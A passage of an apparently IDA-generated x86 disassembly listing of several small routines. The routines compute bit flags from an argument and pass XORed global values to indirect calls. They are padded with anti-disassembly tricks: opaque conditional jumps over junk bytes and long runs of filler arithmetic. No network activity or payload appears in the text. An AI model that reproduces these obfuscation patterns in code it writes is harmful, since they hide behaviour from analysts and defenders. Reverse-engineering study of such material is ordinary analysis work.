		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49D720
		jl	short loc_49D71E


loc_49D719:				; CODE XREF: sub_49D65B:loc_49D71Ej
					; sub_49D65B:loc_49D720j
		jmp	short loc_49D722
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D71E:				; CODE XREF: sub_49D65B+BCj
		jz	short loc_49D719


loc_49D720:				; CODE XREF: sub_49D65B+BAj
		jmp	short loc_49D719
; ---------------------------------------------------------------------------


loc_49D722:				; CODE XREF: sub_49D65B:loc_49D719j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49D760
		jl	short loc_49D75E


loc_49D759:				; CODE XREF: sub_49D65B:loc_49D75Ej
					; sub_49D65B:loc_49D760j
		jmp	short loc_49D762
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D75E:				; CODE XREF: sub_49D65B+FCj
		jz	short loc_49D759


loc_49D760:				; CODE XREF: sub_49D65B+FAj
		jmp	short loc_49D759
; ---------------------------------------------------------------------------


loc_49D762:				; CODE XREF: sub_49D65B:loc_49D759j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49D771
		jl	short loc_49D76F


loc_49D76C:				; CODE XREF: sub_49D65B:loc_49D76Fj
					; sub_49D65B:loc_49D771j
		jmp	short loc_49D773
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D76F:				; CODE XREF: sub_49D65B+10Fj
		jz	short loc_49D76C


loc_49D771:				; CODE XREF: sub_49D65B+10Dj
		jmp	short loc_49D76C
; ---------------------------------------------------------------------------


loc_49D773:				; CODE XREF: sub_49D65B:loc_49D76Cj
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49D77F
		and	eax, 0
		inc	eax
		jmp	short loc_49D782
; ---------------------------------------------------------------------------


loc_49D77F:				; CODE XREF: sub_49D65B+67j
					; sub_49D65B+11Cj
		and	eax, 0


loc_49D782:				; CODE XREF: sub_49D65B+122j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D7A5
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D7A5:				; CODE XREF: sub_49D65B+13Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D65B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D7B9	proc near		; DATA XREF: sub_4965D8+10BFo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, 800h
		push	ecx
		mov	ch, 41h
		sub	ch, 1
		sub	ch, 10h
		dec	ch
		dec	ch
		push	ebx
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	ch
		dec	ch
		dec	ch
		inc	bl
		dec	ch
		dec	ch
		dec	ch
		dec	ch
		inc	bl
		dec	ch
		dec	ch
		dec	ch
		sub	bl, 0Ah
		dec	ch
		sub	ch, 4
		dec	ch
		pop	ebx
		sub	ch, 3
		dec	ch
		mov	ebx, [ebp+arg_4]
		dec	esi
		dec	edi
		dec	edi
		mov	edx, 4
		dec	edx
		dec	edx
		sub	edx, 2
		or	ebx, edx
		jz	short loc_49D82D
		dec	edi
		and	eax, 0
		jmp	short loc_49D835
; ---------------------------------------------------------------------------


loc_49D82D:				; CODE XREF: sub_49D7B9+6Cj
		dec	edi
		dec	ecx
		and	eax, 0
		dec	ecx
		dec	edx
		inc	eax


loc_49D835:				; CODE XREF: sub_49D7B9+72j
		mov	[ebp+var_8], eax
		mov	eax, dword_4ED3B4
		xor	eax, dword_4ED3B8
		shl	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 0
		jz	short loc_49D857
		mov	ecx, [ebp+var_4]
		or	ecx, 1
		mov	[ebp+var_4], ecx


loc_49D857:				; CODE XREF: sub_49D7B9+93j
		mov	edx, [ebp+var_4]
		push	edx
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D7B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D86B	proc near		; DATA XREF: sub_4965D8+597o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	2
		jo	short loc_49D89D
		jl	short loc_49D89B


loc_49D896:				; CODE XREF: sub_49D86B:loc_49D89Bj
					; sub_49D86B:loc_49D89Dj
		jmp	short loc_49D89F
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D89B:				; CODE XREF: sub_49D86B+29j
		jz	short loc_49D896


loc_49D89D:				; CODE XREF: sub_49D86B+27j
		jmp	short loc_49D896
; ---------------------------------------------------------------------------


loc_49D89F:				; CODE XREF: sub_49D86B:loc_49D896j
		pop	ecx
		dec	cl
		dec	cl
		jo	short loc_49D8AF
		jl	short loc_49D8AD


loc_49D8A8:				; CODE XREF: sub_49D86B:loc_49D8ADj
					; sub_49D86B:loc_49D8AFj
		jmp	short loc_49D8B1
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D8AD:				; CODE XREF: sub_49D86B+3Bj
		jz	short loc_49D8A8


loc_49D8AF:				; CODE XREF: sub_49D86B+39j
		jmp	short loc_49D8A8
; ---------------------------------------------------------------------------


loc_49D8B1:				; CODE XREF: sub_49D86B:loc_49D8A8j
		and	al, cl
		mov	bh, 0Fh
		and	bl, 0
		dec	bh
		sub	bh, 3
		dec	bh
		sub	bh, 1
		dec	bh
		jo	short loc_49D8CF
		jl	short loc_49D8CD


loc_49D8C8:				; CODE XREF: sub_49D86B:loc_49D8CDj
					; sub_49D86B:loc_49D8CFj
		jmp	short loc_49D8D1
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D8CD:				; CODE XREF: sub_49D86B+5Bj
		jz	short loc_49D8C8


loc_49D8CF:				; CODE XREF: sub_49D86B+59j
		jmp	short loc_49D8C8
; ---------------------------------------------------------------------------


loc_49D8D1:				; CODE XREF: sub_49D86B:loc_49D8C8j
		and	ah, bh
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49D8E1
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49D8E7
; ---------------------------------------------------------------------------


loc_49D8E1:				; CODE XREF: sub_49D86B+6Cj
		not	eax
		add	eax, 1
		clc


loc_49D8E7:				; CODE XREF: sub_49D86B+74j
		sbb	eax, eax
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D90F
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D90F:				; CODE XREF: sub_49D86B+99j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D86B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D923	proc near		; DATA XREF: sub_4965D8+14BBo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D9C
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ecx
		mov	ecx, 800h
		mov	ecx, 0Dh
		not	ecx
		bswap	eax
		not	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		inc	ecx
		dec	ecx
		inc	ecx
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Dh
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		inc	cl
		add	ecx, 0Ah
		dec	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		inc	ecx
		pop	edx
		bswap	eax
		and	eax, ecx
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3CC
		xor	ecx, dword_4ED3D0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D9B3
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D9B3:				; CODE XREF: sub_49D923+85j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D24
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D923	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D9C7	proc near		; DATA XREF: sub_4965D8+AE7o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 3
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 95h
		sub	bl, 9
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D8
		xor	ecx, dword_4ED3DC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DA41
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DA41:				; CODE XREF: sub_49D9C7+6Fj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D30
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D9C7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DA55	proc near		; DATA XREF: sub_4965D8+184o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DC4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 79h
		sub	cl, 4
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 13h
		jo	short loc_49DABB
		jl	short loc_49DAB9


loc_49DAB6:				; CODE XREF: sub_49DA55:loc_49DAB9j
					; sub_49DA55:loc_49DABBj
		jmp	short loc_49DABD
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49DAB9:				; CODE XREF: sub_49DA55+5Fj
		jz	short loc_49DAB6


loc_49DABB:				; CODE XREF: sub_49DA55+5Dj
		jmp	short loc_49DAB6
; ---------------------------------------------------------------------------


loc_49DABD:				; CODE XREF: sub_49DA55:loc_49DAB6j
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 40h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3F4
		xor	ecx, dword_4ED3F8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DB12
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DB12:				; CODE XREF: sub_49DA55+B2j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D4C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DA55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DB26	proc near		; DATA XREF: sub_4965D8+D1Do

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DDC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		push	800h
		pop	ecx
		dec	ch
		dec	ch
		sub	ch, 3
		sub	ch, 1
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 14h
		dec	cl
		dec	cl
		sub	cl, 2
		dec	cl
		dec	dl
		sub	cl, 1
		dec	cl
		dec	cl
		dec	dl
		dec	cl
		dec	dl
		dec	cl
		sub	cl, 3
		dec	cl
		dec	dl
		sub	cl, 1
		dec	cl
		and	al, cl
		pop	ecx
		pop	ebx
		test	eax, eax
		jz	short loc_49DB99
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49DB9F
; ---------------------------------------------------------------------------


loc_49DB99:				; CODE XREF: sub_49DB26+69j
		not	eax
		add	eax, 1
		clc


loc_49DB9F:				; CODE XREF: sub_49DB26+71j
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED40C
		xor	ecx, dword_4ED410
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DBC6
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DBC6:				; CODE XREF: sub_49DB26+95j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D64
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DB26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DBDA	proc near		; DATA XREF: sub_4965D8+A1Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DAC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1E00h
		pop	ebx
		jo	short loc_49DC10
		jl	short loc_49DC0E


loc_49DC09:				; CODE XREF: sub_49DBDA:loc_49DC0Ej
					; sub_49DBDA:loc_49DC10j
		jmp	short loc_49DC12
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49DC0E:				; CODE XREF: sub_49DBDA+2Dj
		jz	short loc_49DC09


loc_49DC10:				; CODE XREF: sub_49DBDA+2Bj
		jmp	short loc_49DC09
; ---------------------------------------------------------------------------


loc_49DC12:				; CODE XREF: sub_49DBDA:loc_49DC09j
		sub	bh, 4
		dec	bh
		push	eax
		dec	bh
		dec	bh
		jo	short loc_49DC27
		jl	short loc_49DC25


loc_49DC20:				; CODE XREF: sub_49DBDA:loc_49DC25j
					; sub_49DBDA:loc_49DC27j
		jmp	short loc_49DC29
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49DC25:				; CODE XREF: sub_49DBDA+44j
		jz	short loc_49DC20


loc_49DC27:				; CODE XREF: sub_49DBDA+42j
		jmp	short loc_49DC20
; ---------------------------------------------------------------------------


loc_49DC29:				; CODE XREF: sub_49DBDA:loc_49DC20j
		and	eax, 40h
		dec	bh
		sub	bh, 12h
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 12h
		dec	dl
		sub	dl, 1
		dec	dl
		sub	dl, 7
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3DC
		xor	ecx, dword_4ED3E0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DC7C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DC7C:				; CODE XREF: sub_49DBDA+97j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D34
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DBDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DC90	proc near		; DATA XREF: sub_4965D8+F6Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0D00h
		pop	ebx
		jo	short loc_49DCC6
		jl	short loc_49DCC4


loc_49DCBF:				; CODE XREF: sub_49DC90:loc_49DCC4j
					; sub_49DC90:loc_49DCC6j
		jmp	short loc_49DCC8
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49DCC4:				; CODE XREF: sub_49DC90+2Dj
		jz	short loc_49DCBF


loc_49DCC6:				; CODE XREF: sub_49DC90+2Bj
		jmp	short loc_49DCBF
; ---------------------------------------------------------------------------


loc_49DCC8:				; CODE XREF: sub_49DC90:loc_49DCBFj
		sub	bh, 5
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 41h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		and	ah, bh
		mov	edx, 20h
		sub	dl, 19h
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DD19
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DD19:				; CODE XREF: sub_49DC90+7Ej
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DD2D	proc near		; DATA XREF: sub_4965D8+4E1o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DBC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 3
		dec	bh
		sub	bh, 2
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 0B5h
		dec	bl
		dec	esi
		dec	bl
		dec	bl
		dec	edi
		dec	bl
		sub	bl, 14h
		dec	bl
		dec	bl
		sub	bl, 20h
		dec	edi
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3F0
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DDBE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DDBE:				; CODE XREF: sub_49DD2D+86j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D44
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DD2D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DDD2	proc near		; DATA XREF: sub_4965D8+899o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D94
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Dh
		dec	ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 7
		dec	ch
		dec	ch
		and	ah, ch
		mov	cl, 77h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		not	cl
		bswap	edx
		not	cl
		bswap	edx
		dec	cl
		dec	cl
		push	eax
		dec	cl
		dec	cl
		sub	cl, 12h
		dec	cl
		dec	cl
		and	eax, 40h
		dec	cl
		dec	cl
		dec	cl
		add	cl, 0Eh
		dec	cl
		dec	cl
		and	eax, 80h
		sub	cl, 1Fh
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		pop	eax
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C4
		xor	ecx, dword_4ED3C8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DE87
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DE87:				; CODE XREF: sub_49DDD2+AAj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D1C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DDD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DE9B	proc near		; DATA XREF: sub_4965D8+5ADo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D78
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 0AEh
		sub	cl, 2
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3A8
		xor	ecx, dword_4ED3AC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49DF57
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49DF57:				; CODE XREF: sub_49DE9B+B1j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D00
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49DF6B	proc near		; DATA XREF: sub_4965D8+12F5o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_49DF9E
		jl	short loc_49DF9C


loc_49DF99:				; CODE XREF: sub_49DF6B:loc_49DF9Cj
					; sub_49DF6B:loc_49DF9Ej
		jmp	short loc_49DFA0
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49DF9C:				; CODE XREF: sub_49DF6B+2Cj
		jz	short loc_49DF99


loc_49DF9E:				; CODE XREF: sub_49DF6B+2Aj
		jmp	short loc_49DF99
; ---------------------------------------------------------------------------


loc_49DFA0:				; CODE XREF: sub_49DF6B:loc_49DF99j
		sub	dl, 0FEh
		dec	dl
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		jo	short loc_49DFBA
		jl	short loc_49DFB8


loc_49DFB5:				; CODE XREF: sub_49DF6B:loc_49DFB8j
					; sub_49DF6B:loc_49DFBAj
		jmp	short loc_49DFBC
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49DFB8:				; CODE XREF: sub_49DF6B+48j
		jz	short loc_49DFB5


loc_49DFBA:				; CODE XREF: sub_49DF6B+46j
		jmp	short loc_49DFB5
; ---------------------------------------------------------------------------


loc_49DFBC:				; CODE XREF: sub_49DF6B:loc_49DFB5j
		sub	dl, 1
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		inc	dl
		and	al, dl
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E0
		xor	ecx, dword_4ED3E4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49E00A
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49E00A:				; CODE XREF: sub_49DF6B+94j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D38
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49DF6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49E01E	proc near		; DATA XREF: sub_4965D8+294o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
